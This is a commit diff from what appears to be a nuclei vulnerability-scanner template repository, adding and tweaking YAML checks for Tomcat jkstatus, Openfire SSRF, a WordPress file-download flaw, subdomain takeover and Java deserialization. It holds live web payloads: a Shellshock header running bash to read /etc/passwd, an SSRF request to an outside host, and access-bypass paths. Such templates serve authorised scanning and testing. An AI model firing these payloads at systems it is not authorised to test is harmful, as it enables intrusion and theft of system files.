Merge pull request #285 from al3xdelarge/patch-2

Add semicolon to path
adding both path for possilbe use cases
2026-11-07 08:36:19 -10:00 · 2020-08-06 13:44:18 +05:30 · 2020-08-06 13:42:12 +05:30 · 2020-08-06 13:38:37 +05:30 · 2020-08-06 10:06:13 +02:00 · 2020-08-06 10:03:58 +02:00
6 changed files with 48 additions and 6 deletions
@@ -3,14 +3,15 @@ id: CVE-2018-11759
 info:
  name: Apache Tomcat JK Status Manager Access
  author: Harsh Bothra
-  severity: Medium
+  severity: medium

-# source:- https://github.com/immunIT/CVE-2018-11759
+# Source:- https://github.com/immunIT/CVE-2018-11759

 requests:
  - method: GET
    path:
      - '{{BaseURL}}/jkstatus'
+      - '{{BaseURL}}/jkstatus;'

    matchers-condition: and
    matchers:
@@ -0,0 +1,17 @@
+id: CVE-2019-18394
+
+info:
+  name: Openfire Full Read SSRF
+  author: pdteam - nuclei.projectdiscovery.io
+  severity: critical
+
+  # Source:- https://swarm.ptsecurity.com/openfire-admin-console/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/getFavicon?host=burpcollaborator.net"
+    matchers:
+      - type: word
+        words:
+          - <h1>Burp Collaborator Server</h1>
@@ -0,0 +1,23 @@
+id: CVE-2019-19985
+
+info:
+  name: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
+  author: KBA@SOGETI_ESEC
+  severity: medium
+
+  # Source:-  https://www.exploit-db.com/exploits/48698
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin.php?page=download_report&report=users&status=all"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - Subscribed
+
+      - type: status
+        status:
+          - 200
@@ -318,10 +318,10 @@ requests:
        words:
          - "Non-hub domain, The URL you've accessed does not provide a hub."

-      - type: word
+      - type: regex
        name: unbounce
-        words:
-          - "The requested URL was not found on this server."
+        regex:
+          - "^The requested URL was not found on this server.$"

      - type: regex
        name: uptimerobot
@@ -8,7 +8,7 @@ info:
 requests:
 - method: GET
   headers:
-    User-Agent: "{ :;}; echo $(</etc/passwd)"
+    User-Agent: "() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'"
   path:
    - "{{BaseURL}}/cgi-bin/status"
   matchers:
@@ -1,3 +1,4 @@
+id: rce-via-java-deserialization
 info:
  name: Java Deserialization [RCE]
  author: uhnysh
Author	SHA1	Message	Date
bauthard	62089805d3	Merge pull request #285 from al3xdelarge/patch-2 Add semicolon to path	2020-08-06 13:44:18 +05:30
bauthard	fca119eb24	adding both path for possilbe use cases	2020-08-06 13:42:12 +05:30
bauthard	e4b0d08269	Merge pull request #284 from al3xdelarge/patch-1 Improve shellshock payload	2020-08-06 13:38:37 +05:30
Aron Molnar	8315f5f780	Add semicolon to path The vulnerability is that access restriction can be circumvented by adding a semicolon to the path (as pointed out in https://github.com/immunIT/CVE-2018-11759). Without semicolon, jkstatus would be public anyway and would not be related to the CVE.	2020-08-06 10:06:13 +02:00
Aron Molnar	f4ebffa1bc	Improve shellshock payload	2020-08-06 10:03:58 +02:00
bauthard	86c124a3ae	Merge pull request #283 from un-fmunozs/fix279 Update rce-via-java-deserialization.yaml	2020-08-06 12:15:26 +05:30
un-fmunozs	03eb473c7b	Update rce-via-java-deserialization.yaml Add rce-via-java-deserialization id	2020-08-05 22:57:52 -05:00
bauthard	e4ecdde5e0	Added CVE-2019-19985	2020-08-05 01:49:57 +05:30
bauthard	140f069e55	Update detect-all-takeovers.yaml	2020-08-05 00:56:22 +05:30
bauthard	4abb268ac2	Added CVE-2019-18394	2020-08-04 20:54:23 +05:30